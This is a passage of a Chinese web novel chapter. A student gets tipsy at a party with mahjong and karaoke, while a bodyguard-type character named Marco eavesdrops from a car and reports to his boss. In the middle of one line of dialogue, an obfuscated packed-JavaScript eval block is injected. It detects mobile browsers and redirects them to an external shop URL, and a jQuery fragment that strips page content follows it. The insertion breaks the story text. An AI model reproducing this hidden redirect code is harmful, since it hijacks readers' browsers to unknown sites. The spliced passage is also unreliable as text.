刘洋倒了一杯绍兴黄酒，递给我：“尝尝，你买的。”
我接过杯子，琥珀色的酒液在灯光下泛着温润的光泽。凑近闻了一下，醇厚的酒香里裹着一丝焦糖和桂圆的甜，没有刺鼻的酒精味，是陈年老酒特有的那种圆润的、像被时间打磨过的香气。
“好酒，”我举起酒杯晃了晃，“果然是五年陈酿，古越龙山的。”
“你懂酒？”老陈惊讶地看着我。
“我外婆说的，黄酒要买瓷瓶的，玻璃瓶的不行。瓷瓶透气，酒在里面还能继续陈化。玻璃瓶的封死了，放多久都是一个味。”
大家一边吃一边喝，黄酒的醇、啤酒的冽、可乐的甜，在杯盏之间交替流转。话题从“小林子做饭真好吃”滑到“下周计量经济学作业做了没”，从“作业做了没”滑到“教授上周讲的那个异方差性到底怎么检验”，从“异方差性”滑到“张凯你上次考试是不是又挂了”，从“张凯挂科”滑到“老陈你上次喝多了抱着马桶唱歌”。
“我没有抱着马桶唱歌！”老陈的脸涨得通红。
“你有，”周姐面无表情地说，“你唱的是《月亮代表我的心》，马桶代表你的心。”
整桌人笑成一锅沸腾的粥。
酒过三巡——不对，可乐过三巡——有人提议打麻将。
老陈从卧室里搬出一张折叠方桌，撑开桌腿，铺上一块绿色的绒布桌布。桌布的绒毛已经被无数次搓麻将磨得有些发亮，四个角的折痕深深地印在绒布上。麻将牌从一个小皮箱里倒出来，哗啦啦地堆在桌布中央，一百四十四张牌，象牙白的底色，红绿黑三色的刻字。牌背是竹青色的，带着细细的纹路，摸上去有一种温润的、被无数双手摸过的光滑感。
“血战到底，”老陈坐下来，双手开始洗牌，牌面在桌布上发出密集的沙沙声，“规矩都懂吧？”
“懂。”
血战到底的规矩就是一个人胡牌之后其他人继续打，直到剩下最后一个人或者牌摸完。比普通麻将耗时更长，也更残酷。
第一圈，我胡了刘洋点的一把清一色。第二圈，自摸杠上开花。第三圈，张凯点了我一把对对胡。
“你是不是出老千？”刘洋瞪着我。
“技不如人要认。”我把牌推倒，一条龙，从一万到九万整整齐齐地码在桌布上，像一队等待检阅的士兵。“哼哼，菜就多练，谁让我身体里有四川血统。”
“你上次说你外婆是苏州人。”
“外婆是苏州人，外公是四川人，不冲突。苏州人负责温婉，四川人负责赢你钱。”
刘洋把手里剩下的牌往桌上一摔，发出一声清脆的哗啦声。“不打了不打了！换人！周姐你来！”
周姐接手之后，我的连胜势头终于被遏制了。她打牌的风格和她写文献综述一样，稳扎稳打，绝不放铳。每一张打出来的牌都经过深思熟虑，宁可自己不胡，也绝不给别人点炮。我和她僵持了将近二十分钟，最后被她一把自摸截胡。
“周姐牛逼。”我由衷地说。
“少来，”她把牌推进牌堆里，“你刚才那把明明可以胡张凯的，故意不胡，想自摸大番数。贪心不足蛇吞象，四川血统也救不了你。”
我讪讪地摸了摸鼻子。
然后有人把客厅的灯调暗了，打开电视机，连上了蓝牙麦克风。老陈家的KTV设备是上届学长留下来的遗产，两个无线麦克风，一个混响器，音箱是书架式的，放在电视机两侧。麦克风的外壳被磕掉了一小块漆，露出里面银灰色的金属，网罩上有一小块凹痕，大概是被谁不小心摔过。
“谁先来？”老陈举着麦克风，环顾四周。
“小林子！”刘洋第一个起哄，“大厨必须唱！不唱不许洗碗！”
“我洗碗还不行吗？”
“不行！”
我被塞了一个麦克风，然后我翻了翻歌单，停在一首歌上。
前奏响起来的时候，客厅安静了一瞬。然后我的声音从音箱里传出来，第一句就飘了，一种“音符就在前面不远处但我怎么也够不着”的飘。
每一个字我都唱得很用力，但每一个音都不在它应该在的位置上。高音部分我的嗓子像被捏住了脖子，挤出来的声音又细又尖。低音部分又像嗓子里含了一口沙，呼噜呼噜地往下沉。
周姐的表情管理在第一句就崩溃了。
她先是嘴角抽搐，然后咬住下唇，最后实在忍不住，把脸埋进沙发靠垫里，肩膀剧烈地抖动。苏敏捂着嘴，眼睛弯成两道月牙，手指在膝盖上无声地拍着节奏——不是跟着我的节奏，是跟着原唱的节奏。老陈靠在沙发上，仰头看着天花板生无可恋，像在忍受一场酷刑，但他嘴角那个弧度暴露了他其实乐在其中。张凯全程举着手机录像，镜头稳得像是提前架了三脚架，眼睛里闪着“这段视频能笑一年”的光。
但我唱得很认真，而且越唱，音越高，我感觉自己的脸颊发热，大脑混沌得像一碗五颜六色的粥。
客厅里安静了大概两秒钟。然后所有人开始鼓掌，掌声热烈得不像是在鼓励一个走调歌手，反而像是在祝贺一个刑满释放的人。
“小林子，”刘洋擦了擦眼角笑出来的泪，“你这水平，可以报名意大利好声音了。海选第一天就能上电视，上热搜，标题是‘中国留学生唱歌走调到让评委怀疑人生’。”
“谢谢，”我把麦克风递给下一个受害者，“这是我的天赋。”
下一个是苏敏，她唱了一首邓丽君的《月亮代表我的心》，声音和她雕的橙子花一样，温温柔柔的，每一个音都稳稳地落在该落的位置。然后张凯唱了一首《因为爱情》，高音部分像一只被门夹了尾巴的猫，但他唱得极其投入，眼睛闭着，眉毛拧在一起，空着的那只手还随着旋律缓缓抬起。周姐唱了一首《遇见》，声音比平时说话低了一个调，带着一点点沙哑，像午后的阳光透过百叶窗洒在地板上。她唱歌的时候，刘洋坐在沙发上安静地看着她，手里的可乐罐都捂热了也没喝一口。
又过了大概一个多小时，麻将声、唱歌声、聊天声混在一起，客厅里热闹得像过年。老陈不知道从哪里摸出一瓶红星二锅头，玻璃瓶，红标签，五十六度。标签边缘有点翘起来了，大概是放了很久。他拧开盖子，往几个一次性杯子里各倒了小半杯，透明的液体在杯底晃了晃，散发出一股浓烈的、带着谷物焦香的酒气。
“来来来，”他把杯子推到我面前，“大厨必须喝一杯。”
我端起杯子，凑近闻了一下。酒精味冲上来，呛得我鼻腔发酸。我犹豫了大概半秒，然后仰头灌了一口。二锅头从喉咙里烧下去，像一条细细的火线，从舌根一直烧到胃里。那股热意从胃部往外扩散，整个胸腔都暖起来，像被一只滚烫的手掌从里面捂住了。
“好辣。”我嘶了一声。
“辣才对，”老陈也灌了一口，眼睛眯成一条缝，“不辣那叫水。”
我又喝了两口。杯子里的酒只剩一个底了，透明的液体在一次性杯壁上挂出一层薄薄的酒泪。我的脸颊开始发热，耳朵也开始发热，像被人用热毛巾敷着。手指尖微微发麻，脚底踩在地板上的触感变得有点模糊。
“小林子，”刘洋忽然凑过来，手里举着一杯可乐，脸上带着那种“我好奇很久了但一直没好意思问”的表情，“你那个新老板，到底是做什么的？”
我的脑子像一台老式电脑，正在缓慢地加载这个问题。屏幕上出现了一个进度条，从零往百分之百慢慢地爬。
进度条卡在了百分之七十，然后我的嘴先于大脑做出了反应。
“卖柠檬和橄榄油的，”我的声音从喉咙里飘出来，飘飘忽忽的，每个字之间的间隔比平时长了一点点，像一首节奏被拉慢了的歌，“西西里特产，柠檬很大，橄榄油很香。出口全欧洲。生意做得挺大的。”
“真的假的？”刘洋的表情半信半疑，“能给你开那么高工资？听周姐说还配司机？”
“真的，”我非常认真地点头，头点得有点重，脖子上的肌肉反应比平时迟钝了大概零点三秒，“西西里的农业很厉害的。柠檬，这么大。”我用手比了一个大小，比出来的大小大概是柚子的尺寸。“橄榄油，这么香。”我做了一个闻的动作，手抬到鼻子前面的时候指尖差点戳到鼻孔。
刘洋看着我的比划，哈哈哈哈地笑出了声。他的笑声带动了旁边的人，大家都笑了。我以为他们是在笑我比划的大小不对，于是又把手张大了一点，大到大约是一个小西瓜的尺寸。
周姐从旁边伸过手来，把我面前的二锅头杯子拿走了。“行了行了，别让他喝了。小林子酒量本来就不行，上次没喝几杯就脸红。”
“我没醉，”我说，声音比平时大了一点，因为我觉得自己的音量控制不太准了，“我还能喝。”
“是是是，你没醉，”周姐把杯子放到我够不着的地方，又给我递了一罐可乐，“喝点可乐醒醒酒。”
我接过可乐，拉开拉环，喝了一口。碳酸气泡在舌尖上炸开，冰凉的，甜的，带着磷酸的微酸。我低头看着手里的可乐罐，红色的，白色飘带字体，可口可乐。我盯着那个红色看了几秒钟，然后把它竖起来放在茶几上，用手指轻轻推了一下。罐子晃了晃，没倒。
“小林子，”老陈又坐到麻将桌那边喊过来，“还打不打？现在三缺一！”
“打！”
-
楼下，马可坐在驾驶座上，耳机塞在耳朵里。
他闭了闭眼。
他执行过无数次监视任务，从巴勒莫的码头到那不勒斯的仓库，从警惕的内鬼到狡猾的线人，没有一次失手。
但那些任务的音频内容，从来不包括一首跑调的歌。
马可摘下耳机揉了揉耳朵，又戴回去。
每一个音都在它应该在的位置，但连起来之后，整首歌的旋律线以一种完全无法预测的方式飘忽不定。这首歌的调子，像一条没有河床的河流，随心所欲地在每一个音符之间蜿蜒。
马可的嘴角动了一下。他把耳机音量调低了两格。
“可是不管怎样也改变不了，我的中国心——”
手机震了。
马可看了一眼屏幕，坐直了身体。
“Boss。”
电话那头传来洛伦佐的声音，一如平时那般平淡，
“他在干什么？”
“在唱歌，”马可说，“中文歌。”
“什么歌？”
马可犹豫了一下。
“一首中文歌，”他艰难地说，“歌名大概是……《我和我的祖国》。”
洛伦佐没有说话。
“他唱歌走调。”马可补充道。
“多走调？”
马可看了一眼耳机线，那条线连着他胸口口袋里的小型接收器，接收器里传来的声音，每一个音都偏离了它应该在的位置，每一个节拍都踩在节与节之间的缝隙里。
“非常走调，”马可感觉自己的太阳穴在跳动，声音里带着一种微妙的、难以描述的情绪，“对我的耳朵是一种折磨。”
洛伦佐没有说话，但马可听到电话那头有一个很轻很短的声响，像是从喉咙里挤出来的气音。
他在笑。
“录下来，继续监听。”
“是。”
电话挂了。
过了一段时间，耳机里的音乐停了，取而代之的是一种马可不熟悉的、密集而有节奏的声响。麻将，一种中国游戏，四个人围坐在一张方桌前，把那些刻着图案的小方块推来推去，发出哗啦哗啦的碰撞声。
“碰！”林恩的声音从耳机里传来，带着一种志得意满的雀跃。
“你又碰？”另一个声音哀嚎道，“小林子你今天手气也太好了吧？”
“杠，”林恩的声音听上去很得意，“再杠。”
“你杠上开花？！”哀嚎的声音变成了惨叫，“你是不是作弊了？”
“谁让他身体里还有四川血统，”女声带着笑，“四川人打麻将，那是刻在基因里的。”
洛伦佐的第二通电话打进来的时候，马可正在听一段关于“清一色”和“混一色”的争论。他分不清这两种“色”有什么区别，但从林恩的语气里，他听出了——这小子还在赢。
“现在呢？”
电话又响了。
“他在做什么？”洛伦佐问。
“在打麻将。”马可说。
“那是什么？”
“一种中国的游戏，”马可顿了顿，“用很小的方块，上面刻着图案。四个人围坐，轮流摸牌、出牌，林恩似乎赢了不少。”
“一种中国游戏，”马可说，目光透过挡风玻璃望向四楼那扇亮着灯的窗户，“用很小的方块，上面刻着图案。四个人围坐，轮流摸牌、出牌。”
“他在赢？”
“根据对话内容推断，是的。”
“他说‘谁让我身上流着四川人的血’。”马可如实转述。
“四川人打麻将厉害？”
“根据他这句话的上下文推断，是的。”
洛伦佐沉默了一秒：“赢了多少钱？”
“没有钱，”马可说，“他们用花生代替的筹码。”
“……花生。”
“是的。”
又是一段沉默。
洛伦佐挂了电话。
马可把手机放回口袋，从手套箱里摸出一根烟，但没有点。他把烟夹在指间，转了两圈，又放回去了。
又过了一段时间。
耳机里的声音变了。
起先是正常的对话。有人问“你老板到底是做什么的”，林恩的声音飘忽忽的，像踩在棉花上，说“农业的，种柠檬”。有人问“种柠檬为什么要请财务顾问”，林恩说“因为柠檬也要算账啊，种多少、卖多少、赚多少，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453796|201143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都要算”。
然后话题滑向了别处。
但林恩的声音越来越不对劲，语速变慢了，像磁带被按下了减速播放。咬字开始模糊，有些音节像是含在嘴里没来得及吐出来。偶尔会突然安静几秒，然后又突然冒出一句没头没尾的话。
“我跟你们说，”林恩的声音飘飘忽忽的，像一片被风吹起来的树叶，“我外婆做的年糕，才是真正的好吃。糯米自己磨的，红豆自己煮的，蒸出来之后切片，用油煎到两面金黄，外脆里糯，蘸白糖吃……”
“小林子你是不是醉了？”周姐的声音插进来。
“我没醉，”林恩的声音带着一种醉鬼特有的笃定，“我清醒得很，我清醒地知道，我外婆的年糕是全世界最好吃的年糕。”
“你已经说了三遍了。”另一个声音说。
“因为很重要，”林恩说，声音突然变得很认真，“重要的事情说三遍。”
“小林子你真的醉了！”
“我没有！”林恩的声音飘得更远了，“我只是在陈述一个事实。”
“你喝了多少？”
“两杯？三杯？不记得了……”
有人倒吸了一口凉气。“你后面喝的全是二锅头，五十六度的！”
“五十六度？”林恩的声音拔高了一点，然后又降下去，“难怪我有点热。”
马可的手指在方向盘上蜷了一下，他拿起手机，拨了洛伦佐的电话。
“BOSS，”马可的声音压得很低，“他应该醉了。”
“醉了？”洛伦佐的声音微微上扬了一点，语调里没有多少惊讶，反而更像是一种“这也在我的预期之内”的确认。
“他喝了酒，中国酒，五十六度。”
“……多少？”
“五十六度。”
听筒里沉默了很久。
“几杯？”
“根据对话内容推断，至少两杯。”
“一杯多少？”
“不清楚，但从他的声音判断，他的逻辑功能已经混乱了。”
洛伦佐沉默了片刻：“他有没有说什么不该说的？”
“有人问他老板是做什么的。”
洛伦佐没有接话。
“他说，”马可顿了顿，“卖柠檬和橄榄油的。”
听筒里传来一个很轻的声音。这一次，马可确认了，那是笑。
“十二点半了，”洛伦佐说，“带他回来。”
“是。”
“是。”马可挂了电话，推开车门。
他刚迈出一步，还没来得及关上车门，就看到公寓楼的玻璃门被从里面推开了。
林恩走出来了。
不是走，是飘。他的重心在两只脚之间来回游移，每一步落下去的位置都和他大脑预计的位置差了大概五厘米。
左脚预计踩在台阶边缘，实际踩在了台阶平面上；右脚预计踩在平地上，实际踩在了一颗小石子上，脚踝歪了一下，整个人往旁边倾斜了大约十五度，然后又奇迹般地弹回来。
像一个被设定成“直线行走”但传感器出了故障的扫地机器人。
他的左手拎着一个白色的塑料袋，袋子里装着好几个一次性饭盒，摞在一起，用橡皮筋扎着，随着他摇摆的步伐在身侧晃来晃去。
他的另一只手搭在一个男生的肩膀上。那个男生比他高半个头，戴黑框眼镜，小心翼翼地架着他往前走。每走一步，林恩就往旁边歪一下，男生就把他往回拉一下，两个人像一对配合还不熟练的两人三足选手。
马可关上车门，大步走过去。林恩抬起头看到他，眼睛里的光涣散得像碎掉的玻璃珠子，他的嘴角弯着一个得意的弧度，露出两颗虎牙，
“马可！”他举起手里的塑料袋晃了晃，饭盒在袋子里互相碰撞发出沉闷的声响，“这个，给你们带的！我做的菜！很好吃！你和老板尝尝！”
他说话的音量比平时大了不少，像怕马可听不见似的，吐字之间带着明显的拖沓和粘连。
马可伸手接过塑料袋。林恩失去了一个支撑物，整个人晃了一下，搭在男生肩膀上的手收紧了一点。
“他喝了多少？”马可问。
戴眼镜的男生露出一个无奈的表情。“三罐啤酒，两杯黄酒，还有两杯半大概……这么高的二锅头。”他用拇指和食指比了一个大约两厘米的高度，“他非要说二锅头兑雪碧好喝。”
马可的嘴角抽了抽。
“好喝的，”林恩插嘴，声音响亮，“特别好喝，你们都应该试试。二锅头的粮食香，雪碧的甜，绝配。”
马可看了他一眼。林恩的脸颊泛着两团不正常的红晕，从颧骨一直蔓延到耳根，嘴唇比平时更显得艳丽。他的眼睛亮晶晶的，酒精让他的眼球表面蒙上了一层薄薄的水光。路灯的光落在那层水光上，碎成一小片一小片金色的星芒。
马可把林恩的胳膊从男生肩膀上接过来，架到自己肩上。林恩的重量压过来，比看上去要沉。他的头歪向一边，靠在了马可的肩膀上，头发蹭着马可的夹克领口。
“马可你的肩膀好硬，”林恩含糊不清地说，脸贴在夹克面料上，声音闷闷的，“像……像那个……计量经济学的教材封面。对，精装版的那种。我每次看到那本书都觉得肩膀疼。”
“上车。”
马可拉开车门，把林恩塞进副驾驶。林恩就像一只被放进纸箱的猫，先是在座椅上扭了好几下，试图找到一个舒服的姿势——左肩靠椅背，不对，右肩靠车窗，不对，整个人往下滑了一点，脖子仰靠在头枕上，终于不动了。马可帮他系安全带，金属卡扣插进锁扣里，咔嗒一声。
“安全带系好了，”林恩低头看着胸前那条斜跨的黑色带子，含糊不清的语气，“安全第一。教授说的，做数据分析之前要先备份数据，系安全带就是备份自己。”
马可关上了副驾驶的门，绕到驾驶座，发动了车。
回去的路比来的时候安静，林恩靠在副驾驶座上，脑袋歪向车窗，额头顶着冰凉的玻璃，嘴里断断续续地哼着刚才没唱完的歌。调子依然飘忽不定，但因为声音小了，听起来反而没那么折磨耳朵了。
“……我最亲爱的祖国，你是大海永不干涸……”
然后他突然停了下来。
“马可。”
“嗯。”
“你听过这首歌吗？”
“没有。”
“好听吗？”
马可沉默了两秒：“歌词还可以。”
“我唱得不好吗？”
马可又沉默了五秒。
“感情很充沛。”
林恩满意地点了点头，额头在车窗玻璃上蹭出一小片雾气。
“对，唱歌最重要的是感情。音准不重要。我外婆说的。她唱歌也走调，但她是我见过唱歌最好听的人。”
他闭上眼，唇角悄悄地弯起。